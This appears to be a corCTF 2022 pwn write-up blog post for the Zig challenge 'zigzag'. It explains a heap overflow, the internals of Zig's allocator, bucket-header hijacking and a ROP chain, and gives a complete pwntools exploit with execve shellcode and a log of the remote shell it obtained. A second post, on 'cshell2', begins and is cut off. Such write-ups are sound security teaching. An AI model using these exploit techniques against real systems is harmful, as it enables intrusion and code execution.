// built with zig version: 0.10.0-dev.2959+6f55b294f

const std = @import(&quot;std&quot;);
const fmt = std.fmt;

const stdout = std.io.getStdOut().writer();
const stdin = std.io.getStdIn();

const MAX_SIZE: usize = 0x500;
const ERR: usize = 0xbaad0000;
const NULL: usize = 0xdead0000;

var chunklist: [20][]u8 = undefined;

var gpa = std.heap.GeneralPurposeAllocator(.{}){};
const allocator = gpa.allocator();

pub fn menu() !void {
    try stdout.print(&quot;[1] Add\n&quot;, .{});
    try stdout.print(&quot;[2] Delete\n&quot;, .{});
    try stdout.print(&quot;[3] Show\n&quot;, .{});
    try stdout.print(&quot;[4] Edit\n&quot;, .{});
    try stdout.print(&quot;[5] Exit\n&quot;, .{});
    try stdout.print(&quot;&amp;gt; &quot;, .{});
}

pub fn readNum() !usize {
    var buf: [64]u8 = undefined;
    var stripped: []const u8 = undefined;
    var amnt: usize = undefined;
    var num: usize = undefined;

    amnt = try stdin.read(&amp;amp;buf);
    stripped = std.mem.trimRight(u8, buf[0..amnt], &quot;\n&quot;);

    num = fmt.parseUnsigned(usize, stripped, 10) catch {
        return ERR;
    };

    return num;
}

pub fn add() !void {
    var idx: usize = undefined;
    var size: usize = undefined;

    try stdout.print(&quot;Index: &quot;, .{});
    idx = try readNum();

    if (idx == ERR or idx &amp;gt;= chunklist.len or @ptrToInt(chunklist[idx].ptr) != NULL) {
        try stdout.print(&quot;Invalid index!\n&quot;, .{});
        return;
    }

    try stdout.print(&quot;Size: &quot;, .{});
    size = try readNum();

    if (size == ERR or size &amp;gt;= MAX_SIZE) {
        try stdout.print(&quot;Invalid size!\n&quot;, .{});
        return;
    }

    chunklist[idx] = try allocator.alloc(u8, size);

    try stdout.print(&quot;Data: &quot;, .{});
    _ = try stdin.read(chunklist[idx]);
}

pub fn delete() !void {
    var idx: usize = undefined;

    try stdout.print(&quot;Index: &quot;, .{});
    idx = try readNum();

    if (idx == ERR or idx &amp;gt;= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) {
        try stdout.print(&quot;Invalid index!\n&quot;, .{});
        return;
    }

    _ = allocator.free(chunklist[idx]);

    chunklist[idx].ptr = @intToPtr([*]u8, NULL);
    chunklist[idx].len = 0;
}

pub fn show() !void {
    var idx: usize = undefined;

    try stdout.print(&quot;Index: &quot;, .{});
    idx = try readNum();

    if (idx == ERR or idx &amp;gt;= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) {
        try stdout.print(&quot;Invalid index!\n&quot;, .{});
        return;
    }

    try stdout.print(&quot;{s}\n&quot;, .{chunklist[idx]});
}

pub fn edit() !void {
    var idx: usize = undefined;
    var size: usize = undefined;

    try stdout.print(&quot;Index: &quot;, .{});
    idx = try readNum();

    if (idx == ERR or idx &amp;gt;= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) {
        try stdout.print(&quot;Invalid index!\n&quot;, .{});
        return;
    }

    try stdout.print(&quot;Size: &quot;, .{});
    size = try readNum();

    if (size &amp;gt; chunklist[idx].len and size == ERR) {
        try stdout.print(&quot;Invalid size!\n&quot;, .{});
        return;
    }

    chunklist[idx].len = size;

    try stdout.print(&quot;Data: &quot;, .{});
    _ = try stdin.read(chunklist[idx]);
}

pub fn main() !void {
    var choice: usize = undefined;

    for (chunklist) |_, i| {
        chunklist[i].ptr = @intToPtr([*]u8, NULL);
        chunklist[i].len = 0;
    }

    while (true) {
        try menu();

        choice = try readNum();
        if (choice == ERR) continue;

        if (choice == 1) try add();
        if (choice == 2) try delete();
        if (choice == 3) try show();
        if (choice == 4) try edit();
        if (choice == 5) break;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The source code is quite readable, the vulnerability is the overflow within the &lt;code&gt;edit&lt;/code&gt; function. The check onto the provided size isn&apos;t efficient, &lt;code&gt;size &amp;gt; chunklist[idx].len and size == ERR&lt;/code&gt;, if &lt;code&gt;size &amp;gt; chunklist[idx].len&lt;/code&gt; and if &lt;code&gt;size != ERR&lt;/code&gt; the condition is false. Which means we can edit the chunk by writing an arbitrary amount of data in it.&lt;/p&gt;
&lt;h2&gt;GeneralPurposeAllocator abstract&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/ziglang/zig/&quot;&gt;zig&lt;/a&gt; source is quite readable so let&apos;s take a look at the internals of the GeneralPurposeAllocator allocator.
The GeneralPurposeAllocator is implemented &lt;a href=&quot;https://github.com/ziglang/zig/blob/master/lib/std/heap/general_purpose_allocator.zig&quot;&gt;here&lt;/a&gt;.
The header of the source code file gives the basic design of the allocator:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//! ## Basic Design:
//!
//! Small allocations are divided into buckets:
//!
//! ```
//! index obj_size
//! 0     1
//! 1     2
//! 2     4
//! 3     8
//! 4     16
//! 5     32
//! 6     64
//! 7     128
//! 8     256
//! 9     512
//! 10    1024
//! 11    2048
//! ```
//!
//! The main allocator state has an array of all the &quot;current&quot; buckets for each
//! size class. Each slot in the array can be null, meaning the bucket for that
//! size class is not allocated. When the first object is allocated for a given
//! size class, it allocates 1 page of memory from the OS. This page is
//! divided into &quot;slots&quot; - one per allocated object. Along with the page of memory
//! for object slots, as many pages as necessary are allocated to store the
//! BucketHeader, followed by &quot;used bits&quot;, and two stack traces for each slot
//! (allocation trace and free trace).
//!
//! The &quot;used bits&quot; are 1 bit per slot representing whether the slot is used.
//! Allocations use the data to iterate to find a free slot. Frees assert that the
//! corresponding bit is 1 and set it to 0.
//!
//! Buckets have prev and next pointers. When there is only one bucket for a given
//! size class, both prev and next point to itself. When all slots of a bucket are
//! used, a new bucket is allocated, and enters the doubly linked list. The main
//! allocator state tracks the &quot;current&quot; bucket for each size class. Leak detection
//! currently only checks the current bucket.
//!
//! Resizing detects if the size class is unchanged or smaller, in which case the same
//! pointer is returned unmodified. If a larger size class is required,
//! `error.OutOfMemory` is returned.
//!
//! Large objects are allocated directly using the backing allocator and their metadata is stored
//! in a `std.HashMap` using the backing allocator.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s take a look at &lt;code&gt;alloc&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fn alloc(self: *Self, len: usize, ptr_align: u29, len_align: u29, ret_addr: usize) Error![]u8 {
    self.mutex.lock();
    defer self.mutex.unlock();

    if (!self.isAllocationAllowed(len)) {
        return error.OutOfMemory;
    }

    const new_aligned_size = math.max(len, ptr_align);
    if (new_aligned_size &amp;gt; largest_bucket_object_size) {
        try self.large_allocations.ensureUnusedCapacity(self.backing_allocator, 1);
        const slice = try self.backing_allocator.rawAlloc(len, ptr_align, len_align, ret_addr);

        const gop = self.large_allocations.getOrPutAssumeCapacity(@ptrToInt(slice.ptr));
        if (config.retain_metadata and !config.never_unmap) {
            // Backing allocator may be reusing memory that we&apos;re retaining metadata for
            assert(!gop.found_existing or gop.value_ptr.freed);
        } else {
            assert(!gop.found_existing); // This would mean the kernel double-mapped pages.
        }
        gop.value_ptr.bytes = slice;
        if (config.enable_memory_limit)
            gop.value_ptr.requested_size = len;
        gop.value_ptr.captureStackTrace(ret_addr, .alloc);
        if (config.retain_metadata) {
            gop.value_ptr.freed = false;
            if (config.never_unmap) {
                gop.value_ptr.ptr_align = ptr_align;
            }
        }

        if (config.verbose_log) {
            log.info(&quot;large alloc {d} bytes at {*}&quot;, .{ slice.len, slice.ptr });
        }
        return slice;
    }

    const new_size_class = math.ceilPowerOfTwoAssert(usize, new_aligned_size);
    const ptr = try self.allocSlot(new_size_class, ret_addr);
    if (config.verbose_log) {
        log.info(&quot;small alloc {d} bytes at {*}&quot;, .{ len, ptr });
    }
    return ptr[0..len];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First in &lt;code&gt;alloc&lt;/code&gt;, if the aligned size is not larger than the largest bucket capacity (2**11) it will call &lt;code&gt;allocSlot&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fn allocSlot(self: *Self, size_class: usize, trace_addr: usize) Error![*]u8 {
    const bucket_index = math.log2(size_class);
    const first_bucket = self.buckets[bucket_index] orelse try self.createBucket(
        size_class,
        bucket_index,
    );
    var bucket = first_bucket;
    const slot_count = @divExact(page_size, size_class);
    while (bucket.alloc_cursor == slot_count) {
        const prev_bucket = bucket;
        bucket = prev_bucket.next;
        if (bucket == first_bucket) {
            // make a new one
            bucket = try self.createBucket(size_class, bucket_index);
            bucket.prev = prev_bucket;
            bucket.next = prev_bucket.next;
            prev_bucket.next = bucket;
            bucket.next.prev = bucket;
        }
    }
    // change the allocator&apos;s current bucket to be this one
    self.buckets[bucket_index] = bucket;

    const slot_index = bucket.alloc_cursor;
    bucket.alloc_cursor += 1;

    var used_bits_byte = bucket.usedBits(slot_index / 8);
    const used_bit_index: u3 = @intCast(u3, slot_index % 8); // TODO cast should be unnecessary
    used_bits_byte.* |= (@as(u8, 1) &amp;lt;&amp;lt; used_bit_index);
    bucket.used_count += 1;
    bucket.captureStackTrace(trace_addr, size_class, slot_index, .alloc);
    return bucket.page + slot_index * size_class;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;allocSlot&lt;/code&gt; will check if the current bucket is able to allocate one more object, else it will iterate through the doubly linked list to look for a not full bucket.
And if it does nto find one, it creates a new bucket. When the bucket is allocated, it returns the available objet at &lt;code&gt;bucket.page + slot_index * size_class&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As you can see, the &lt;code&gt;BucketHeader&lt;/code&gt; is structured like below in the &lt;code&gt;createBucket&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fn createBucket(self: *Self, size_class: usize, bucket_index: usize) Error!*BucketHeader {
    const page = try self.backing_allocator.allocAdvanced(u8, page_size, page_size, .exact);
    errdefer self.backing_allocator.free(page);

    const bucket_size = bucketSize(size_class);
    const bucket_bytes = try self.backing_allocator.allocAdvanced(u8, @alignOf(BucketHeader), bucket_size, .exact);
    const ptr = @ptrCast(*BucketHeader, bucket_bytes.ptr);
    ptr.* = BucketHeader{
        .prev = ptr,
        .next = ptr,
        .page = page.ptr,
        .alloc_cursor = 0,
        .used_count = 0,
    };
    self.buckets[bucket_index] = ptr;
    // Set the used bits to all zeroes
    @memset(@as(*[1]u8, ptr.usedBits(0)), 0, usedBitsCount(size_class));
    return ptr;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It allocates a page to store objects in, then it allocates the &lt;code&gt;BucketHeader&lt;/code&gt; itself. Note that the page allocator will make allocations adjacent from each other. According to my several experiments the allocations grow -- from an initial given mapping -- to lower or higher addresses. I advice you to try different order of allocations in gdb to figure out this.&lt;/p&gt;
&lt;p&gt;Let&apos;s quickly decribe each field of the &lt;code&gt;BucketHeader&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.prev&lt;/code&gt; and &lt;code&gt;.next&lt;/code&gt; keep track of the doubly linked list that links buckets of same size.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.page&lt;/code&gt; contains the base address of the page that contains the objects that belong to the bucket.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;alloc_cursor&lt;/code&gt; contains the number of allocated objects.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;used_count&lt;/code&gt; contains the number of currently used objects.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Getting read / write what were primitive&lt;/h2&gt;
&lt;p&gt;Well, the goal is to an arbitrary read / write by hiijacking the &lt;code&gt;.page&lt;/code&gt; and &lt;code&gt;.alloc_cursor&lt;/code&gt; fields of the &lt;code&gt;BucketHeader&lt;/code&gt;, this way if we hiijack pointers from a currently used bucket for a given size we can get a chunk toward any location.&lt;/p&gt;
&lt;p&gt;What we can do to get a chunk close to a  &lt;code&gt;BucketHeader&lt;/code&gt; structure would be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocate large (&lt;code&gt;0x500-1&lt;/code&gt;) chunk, &lt;code&gt;0x800&lt;/code&gt; bucket.&lt;/li&gt;
&lt;li&gt;Allocate 4 other chunks of size &lt;code&gt;1000&lt;/code&gt;, which end up in the &lt;code&gt;0x400&lt;/code&gt; bucket.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thus, first one page has been allocated to satisfy request one, then another page right after the other has been allocated to store the &lt;code&gt;BucketHeader&lt;/code&gt; for this bucket.
Then, to satisfy the four next allocations, the page that stores the objects has been allocated right after the one which stores the &lt;code&gt;BucketHeader&lt;/code&gt; of the &lt;code&gt;0x800&lt;/code&gt;-bucket, and finally a page is allocated to store the &lt;code&gt;BucketHeader&lt;/code&gt; of the &lt;code&gt;0x400&lt;/code&gt; bucket.&lt;/p&gt;
&lt;p&gt;If you do not understand clearly, I advice you to debug my exploit in &lt;code&gt;gdb&lt;/code&gt; by looking at the &lt;code&gt;chunklist&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With this process the last allocated &lt;code&gt;0x400&lt;/code&gt;-sized chunk gets allocated &lt;code&gt;0x400&lt;/code&gt; bytes before the &lt;code&gt;BucketHeader&lt;/code&gt; of the bucket that handles &lt;code&gt;0x400&lt;/code&gt;-sized chunks.
Thus to get a read / write what were we can simply trigger the heap overflow with the &lt;code&gt;edit&lt;/code&gt; function to null out &lt;code&gt;.alloc_cursor&lt;/code&gt; and &lt;code&gt;.used_count&lt;/code&gt; and replace &lt;code&gt;.page&lt;/code&gt; by the target location.
This way the next allocation that will request &lt;code&gt;0x400&lt;/code&gt; bytes, which will trigger the hiijacked bucket and return the target location giving us the primitive.&lt;/p&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alloc(0, 0x500-1, b&quot;A&quot;)
for i in range(1, 5):
    alloc(i, 1000, b&quot;vv&quot;)

edit(4, 0x400 + 5*8, b&quot;X&quot;*0x400 \ # padding
     + pwn.p64(0x208000)*3 \ # next / prev + .page point toward the target =&amp;gt; 0x208000
     + pwn.p64(0x0) \ # .alloc_cursor &amp;amp; .used_count
     + pwn.p64(0)) # used bits

# next alloc(1000) will trigger the write what were
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Leak stack&lt;/h2&gt;
&lt;p&gt;To leak the stack I leaked the &lt;code&gt;argv&lt;/code&gt; variable that contains a pointer toward arguments given to the program, stored on the stack. That&apos;s a reliable leak given it&apos;s a known and fixed location, which can base used as a base compared with function&apos;s stackframes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alloc(5, 1000, b&quot;A&quot;) # get chunk into target location (0x208000)
show(5)
io.recv(0x100) # argv is located at 0x208000 + 0x100

stack = pwn.u64(io.recv(8))
pwn.log.info(f&quot;stack: {hex(stack)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ROP&lt;/h2&gt;
&lt;p&gt;Now we&apos;re able to overwrite whatever function&apos;s stackframe, we have to find one that returns from context of &lt;code&gt;std.fs.file.File.read&lt;/code&gt; that reads the user input to the chunk. But unlucky functions like &lt;code&gt;add&lt;/code&gt;, &lt;code&gt;edit&lt;/code&gt; are inlined in the &lt;code&gt;main&lt;/code&gt; function. Moreover we cannot overwrite the return address of the &lt;code&gt;main&lt;/code&gt; function given that the exit handler call directly exit. Which means we have to corrput the stackframe of the &lt;code&gt;std.fs.file.File.read&lt;/code&gt; function called in the &lt;code&gt;edit&lt;/code&gt; function.
But the issue is that between the call to &lt;code&gt;SYS_read&lt;/code&gt; within &lt;code&gt;std.fs.file.File.read&lt;/code&gt; and the end of the function, variables that belong to the calling function&apos;s stackframe are edited, corrupting the ROPchain. So what I did is using this gadget to reach a part of the stack that will not be corrupted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x0000000000203715 : add rsp, 0x68 ; pop rbx ; pop r14 ; ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the use of this gadget I&apos;m able to pop a few QWORD from the stack to reach another area of the stack where I write my ROPchain.
The goal for the ROPchain is to &lt;code&gt;mptotect&lt;/code&gt; a shellcode and then jump on it. The issue is that I didn&apos;t find a gadget to control the value of the &lt;code&gt;rdx&lt;/code&gt; register but when it returns from &lt;code&gt;std.fs.file.File.read&lt;/code&gt; it contains the value of size given to &lt;code&gt;edit&lt;/code&gt;. So to call &lt;code&gt;mprotect(rdi=0x208000, rsi=0x1000, rdx=0x7)&lt;/code&gt; we have to call &lt;code&gt;edit&lt;/code&gt; with a size of &lt;code&gt;7&lt;/code&gt; to write on the &lt;code&gt;std.fs.file.File.read&lt;/code&gt; saved RIP the value of the magic gadget seen previously.&lt;/p&gt;
&lt;p&gt;Here is the ROPchain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;edit(4, 0x400 + 5*8, b&quot;A&quot;*0x400 + pwn.p64(0x208000)*3 + pwn.p64(0x000) + pwn.p64(0))
# with the use of the write what were we write the shellcode at 0x208000

shellcode = b&quot;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&quot;
# execve(&quot;/bin/sh&quot;, NULL, NULL)

alloc(14, 1000, shellcode)

&quot;&quot;&quot;
0x0000000000201fcf : pop rax ; syscall
0x0000000000203147 : pop rdi ; ret
0x000000000020351b : pop rsi ; ret
0x00000000002035cf : xor edx, edx ; mov rsi, qword ptr [r9] ; xor eax, eax ; syscall
0x0000000000201e09 : ret
0x0000000000203715 : add rsp, 0x68 ; pop rbx ; pop r14 ; ret
&quot;&quot;&quot;

edit(4, 0x400 + 5*8, b&quot;A&quot;*0x400 + pwn.p64(stack-0x50)* 3 + pwn.p64(0) + pwn.p64(0))
# write ROPchain into the safe area on the stack 
alloc(11, 0x400, pwn.p64(0x203147) \ # pop rdi ; ret
        + pwn.p64(0x208000) + \ # target area for the shellcode
        pwn.p64(0x20351b) + \ # pop rsi ; ret
        pwn.p64(0x1000) + \ # length
        pwn.p64(0x201fcf) + \ # pop rax ; syscall
        pwn.p64(0xa) + \ # SYS_mprotect
        pwn.p64(0x208000)) # jump on the shellcode + PROFIT

edit(4, 0x400 + 5*8, b&quot;A&quot;*0x400 + pwn.p64(stack-0xd0)* 3 + pwn.p64(0) + pwn.p64(0))

alloc(12, 1000, pwn.p64(0x202d16)) # valid return address
edit(12, 0x7, pwn.p64(0x0000000000203715)) # magic gadget

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PROFIT&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/Documents/pwn/corCTF/zieg$ python3 remote.py REMOTE HOST=be.ax PORT=31278
[*] &apos;/home/nasm/Documents/pwn/corCTF/zieg/zigzag&apos;
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x200000)
[+] Opening connection to be.ax on port 31278: Done
[*] stack: 0x7ffc2ca48ae8
[*] Loaded 37 cached gadgets for &apos;zigzag&apos;
[*] Using sigreturn for &apos;SYS_execve&apos;
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
flag.txt
zigzag
$ cat flag.txt
corctf{bl4Z1nGlY_f4sT!!}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Appendices&lt;/h2&gt;
&lt;p&gt;Final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(&apos;zigzag&apos;)
# pwn.context.terminal = [&apos;tmux&apos;, &apos;new-window&apos;] 
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
source ~/Downloads/pwndbg/gdbinit.py
&apos;&apos;&apos;.format(**locals())

io = None

io = start()

def alloc(idx, size, data):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    io.sendlineafter(b&quot;Size: &quot;, str(size).encode())
    io.sendlineafter(b&quot;Data: &quot;, data)


def delete(idx):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())

def show(idx):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())

def edit(idx, size, data):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;4&quot;)
    io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    io.sendlineafter(b&quot;Size: &quot;, str(size).encode())
    io.sendlineafter(b&quot;Data: &quot;, data)

alloc(0, 0x500-1, b&quot;A&quot;)
for i in range(1, 5):
    alloc(i, 1000, b&quot;vv&quot;)

edit(4, 0x400 + 5*8, b&quot;X&quot;*0x400 + pwn.p64(0x208000)*3 + pwn.p64(0x000) + pwn.p64(0))

alloc(5, 1000, b&quot;A&quot;)
show(5)
io.recv(0x100)

stack = pwn.u64(io.recv(8))
pwn.log.info(f&quot;stack: {hex(stack)}&quot;)

edit(4, 0x400 + 5*8, b&quot;A&quot;*0x400 + pwn.p64(0x208000)*3 + pwn.p64(0x000) + pwn.p64(0))

shellcode = b&quot;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&quot;

alloc(14, 1000, shellcode)

&quot;&quot;&quot;
0x0000000000201fcf : pop rax ; syscall
0x0000000000203147 : pop rdi ; ret
0x000000000020351b : pop rsi ; ret
0x00000000002035cf : xor edx, edx ; mov rsi, qword ptr [r9] ; xor eax, eax ; syscall
0x0000000000201e09 : ret
0x0000000000203715 : add rsp, 0x68 ; pop rbx ; pop r14 ; ret
&quot;&quot;&quot;

rop = pwn.ROP(exe)
binsh = 0x208000+(48)
rop.execve(binsh, 0, 0)

edit(4, 0x400 + 5*8, b&quot;A&quot;*0x400 + pwn.p64(stack-0x50)* 3 + pwn.p64(0) + pwn.p64(0))
alloc(11, 0x400, pwn.p64(0x203147) + pwn.p64(0x208000) + pwn.p64(0x20351b) + pwn.p64(0x1000) + pwn.p64(0x201fcf) + pwn.p64(0xa) + pwn.p64(0x208000))

edit(4, 0x400 + 5*8, b&quot;A&quot;*0x400 + pwn.p64(stack-0xd0)* 3 + pwn.p64(0) + pwn.p64(0))

alloc(12, 1000,pwn.p64(0x202d16))
edit(12, 0x7, pwn.p64(0x0000000000203715))

io.interactive()

&quot;&quot;&quot;
nasm@off:~/Documents/pwn/corCTF/zieg$ python3 remote.py REMOTE HOST=be.ax PORT=31278
[*] &apos;/home/nasm/Documents/pwn/corCTF/zieg/zigzag&apos;
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x200000)
[+] Opening connection to be.ax on port 31278: Done
[*] stack: 0x7ffe21d2cc68
[*] Loaded 37 cached gadgets for &apos;zigzag&apos;
[*] Using sigreturn for &apos;SYS_execve&apos;
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
corctf{bl4Z1nGlY_f4sT!!}
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[corCTF 2022 - pwn] cshell2</title><link>https://n4sm.github.io/posts/cshell2/</link><guid isPermaLink="true">https://n4sm.github.io/posts/cshell2/</guid><pubDate>Sun, 07 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;cshell2&lt;/code&gt; is a heap challenge I did during the &lt;a href=&quot;https://ctftime.org/event/1656&quot;&gt;corCTF 2022&lt;/a&gt; event. It was pretty classic so I will not describe a lot.
If you begin with heap challenges, I advice you to read &lt;a href=&quot;https://ret2school.github.io/tags/heap/&quot;&gt;previous heap writeup&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL; DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Fill tcache.&lt;/li&gt;
&lt;li&gt;Heap overflow in &lt;code&gt;edit&lt;/code&gt; on the &lt;code&gt;bio&lt;/code&gt; field which allows to leak the address of the unsortedbin.&lt;/li&gt;
&lt;li&gt;Leak heap and defeat safe-linking to get an arbitrary write through tcache poisoning.&lt;/li&gt;
&lt;li&gt;Hiijack GOT entry of &lt;code&gt;free&lt;/code&gt; to &lt;code&gt;system&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;free(&quot;/bin/sh&quot;)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;PROFIT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Reverse Engineering&lt;/h2&gt;
&lt;p&gt;Let&apos;s take a look at the provided binary and libc:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./libc.so.6 
GNU C Library (GNU libc) development release version 2.36.9000.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.1.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
&amp;lt;https://www.gnu.org/software/libc/bugs.html&amp;gt;.
$ checksec --file cshell2
[*] &apos;/home/nasm/Documents/pwn/corCTF/cshell2/cshell2&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fb000)
    RUNPATH:  b&apos;.&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A very recent libc plus a non PIE-based binary without &lt;code&gt;FULL RELRO&lt;/code&gt;. Thus we could think to some GOT hiijacking stuff directly on the binary. Let&apos;s take a look at the &lt;code&gt;add&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 add()
{
  int idx_1; // ebx
  unsigned __int8 idx; // [rsp+Fh] [rbp-21h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  puts(&quot;Enter index: &quot;);
  __isoc99_scanf(&quot;%hhu&quot;, &amp;amp;idx);
  puts(&quot;Enter size (1032 minimum): &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;size);
  if ( idx &amp;gt; 0xEu || size &amp;lt;= 0x407 || size_array[2 * idx] )
  {
    puts(&quot;Error with either index or size...&quot;);
  }
  else
  {
    idx_1 = idx;
    chunk_array[2 * idx_1] = (chunk_t *)malloc(size);
    size_array[2 * idx] = size;
    puts(&quot;Successfuly added!&quot;);
    puts(&quot;Input firstname: &quot;);
    read(0, chunk_array[2 * idx], 8uLL);
    puts(&quot;Input middlename: &quot;);
    read(0, chunk_array[2 * idx]-&amp;gt;midName, 8uLL);
    puts(&quot;Input lastname: &quot;);
    read(0, chunk_array[2 * idx]-&amp;gt;lastName, 8uLL);
    puts(&quot;Input age: &quot;);
    __isoc99_scanf(&quot;%lu&quot;, &amp;amp;chunk_array[2 * idx]-&amp;gt;age);
    puts(&quot;Input bio: &quot;);
    read(0, chunk_array[2 * idx]-&amp;gt;bio, 0x100uLL);
  }
  return v4 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It creates a chunk by asking several fields but nothing actually interesting there. Let&apos;s take a look at the &lt;code&gt;show&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 show()
{
  unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(&quot;Enter index: &quot;);
  __isoc99_scanf(&quot;%hhu&quot;, &amp;amp;v1);
  if ( v1 &amp;lt;= 0xEu &amp;amp;&amp;amp; size_array[2 * v1] )
    printf(
      &quot;Name\n last: %s first: %s middle: %s age: %d\nbio: %s&quot;,
      chunk_array[2 * v1]-&amp;gt;lastName,
      chunk_array[2 * v1]-&amp;gt;firstName,
      chunk_array[2 * v1]-&amp;gt;midName,
      chunk_array[2 * v1]-&amp;gt;age,
      chunk_array[2 * v1]-&amp;gt;bio);
  else
    puts(&quot;Invalid index&quot;);
  return v2 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It prints a chunk only if it&apos;s allocated (size entry initialized in the size array) and if the index is right.
Then the &lt;code&gt;delete&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 delete()
{
  unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF
